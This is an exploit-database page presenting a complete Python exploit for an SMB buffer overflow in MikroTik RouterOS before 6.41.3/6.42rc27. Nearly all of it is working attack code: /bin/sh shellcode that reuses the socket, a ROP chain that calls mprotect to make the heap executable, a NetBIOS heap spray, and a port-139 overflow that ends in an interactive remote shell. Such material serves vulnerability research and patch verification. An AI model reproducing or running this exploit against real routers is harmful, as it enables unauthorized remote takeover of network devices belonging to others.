MikroTik RouterOS < 6.41.3/6.42rc27 SMB Buffer Overflow

2018.03.16
Credit: CoreLabs
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-119

#!/usr/bin/env python import socket import struct import sys import telnetlib NETBIOS_SESSION_MESSAGE = "\x00" NETBIOS_SESSION_REQUEST = "\x81" NETBIOS_SESSION_FLAGS = "\x00" # trick from http://shell-storm.org/shellcode/files/shellcode-881.php # will place the socket file descriptor in eax find_sock_fd = "\x6a\x02\x5b\x6a\x29\x58\xcd\x80\x48" # dup stdin-stdout-stderr so we can reuse the existing connection dup_fds = "\x89\xc3\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9" # execve - cannot pass the 2nd arg as NULL or busybox will complain execve_bin_sh = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" # build shellcode shellcode = find_sock_fd + dup_fds + execve_bin_sh # rop to mprotect and make the heap executable # the heap base is not being subject to ASLR for whatever reason, so let's take advantage of it p = lambda x : struct.pack('I', x) rop = "" rop += p(0x0804c39d) # 0x0804c39d: pop ebx; pop ebp; ret; rop += p(0x08072000) # ebx -> heap base rop += p(0xffffffff) # ebp -> gibberish rop += p(0x080664f5) # 0x080664f5: pop ecx; adc al, 0xf7; ret; rop += p(0x14000) # ecx -> size for mprotect rop += p(0x08066f24) # 0x08066f24: pop edx; pop edi; pop ebp; ret; rop += p(0x00000007) # edx -> permissions for mprotect -> PROT_READ | PROT_WRITE | PROT_EXEC rop += p(0xffffffff) # edi -> gibberish rop += p(0xffffffff) # ebp -> gibberish rop += p(0x0804e30f) # 0x0804e30f: pop ebp; ret; rop += p(0x0000007d) # ebp -> mprotect system call rop += p(0x0804f94a) # 0x0804f94a: xchg eax, ebp; ret; rop += p(0xffffe42e) # 0xffffe42e; int 0x80; pop ebp; pop edx; pop ecx; ret - from vdso - not affected by ASLR rop += p(0xffffffff) # ebp -> gibberish rop += p(0x0) # edx -> zeroed out rop += p(0x0) # ecx -> zeroed out rop += p(0x0804e30f) # 0x0804e30f: pop ebp; ret; rop += p(0x08075802) # ebp -> somewhere on the heap that will (always?) contain user controlled data rop += p(0x0804f94a) # 0x0804f94a: xchg eax, ebp; ret; rop += p(0x0804e153) # jmp eax; - jump to our shellcode on the heap offset_to_regs = 83 # we do not really care about the initial register values other than overwriting the saved ret address ebx = p(0x45454545) esi = p(0x45454545) edi = p(0x45454545) ebp = p(0x45454545) eip = p(0x0804886c) # 0x0804886c: ret; payload = "\xff" * offset_to_regs + ebx + esi + edi + ebp + eip + rop header = struct.pack("!ccH", NETBIOS_SESSION_REQUEST, NETBIOS_SESSION_FLAGS, len(payload)) buf = header + payload def open_connection(ip): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip, 139)) return s def store_payload(s): print "[+] storing payload on the heap" s.send((NETBIOS_SESSION_MESSAGE + "\x00\xeb\x02") * 4000 + "\x90" * 16 + shellcode) def crash_smb(s): print "[+] getting code execution" s.send(buf) if __name__ == "__main__": if len(sys.argv) != 2: print "%s ip" % sys.argv[0] sys.exit(1) s = open_connection(sys.argv[1]) store_payload(s) # the server closes the first connection, so we need to open another one t = telnetlib.Telnet() t.sock = open_connection(sys.argv[1]) crash_smb(t.sock) print "[+] got shell?" t.interact()


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2018, cxsecurity.com

 

Back to Top